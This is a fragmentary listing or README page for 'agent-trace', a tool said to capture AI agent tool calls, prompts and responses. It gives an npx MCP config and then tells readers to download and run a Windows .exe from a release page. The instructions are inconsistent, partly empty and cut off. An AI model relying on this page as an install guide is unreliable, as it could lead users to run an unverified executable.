Citrous-districtline59/agent-trace
Capture and replay every AI agent tool call, prompt, and response to trace sessions and debug complex workflows with full observability.
Platform-specific configuration:
{
"mcpServers": {
"agent-trace": {
"command": "npx",
"args": [
"-y",
"agent-trace"
]
}
}
}Add the config above to .claude/settings.json under the mcpServers key.
[](https://github.com/Citrous-districtline59/agent-trace/releases)
---
agent-trace records every step taken by AI agents like Claude Code and Cursor. It captures tool calls, prompts you send, and responses you get. This lets you see exactly what your AI agent is doing, so you can review, learn, and even replay the process. It works with most modern AI tools that follow common client protocols. If you've ever wondered what happens behind the scenes when an AI answers your questions, agent-trace sheds light on that.
---
No special hardware or technical skills are needed.
---
---
Go to the official release page to find the latest stable version for Windows.
[](https://github.com/Citrous-districtline59/agent-trace/releases)
This link will take you to the download page where you will see the installation files.
---
Look for a file ending with .exe that matches your system (usually titled something like agent-trace-win64.exe).
If you are not sure, pick the file with the
Loading reviews...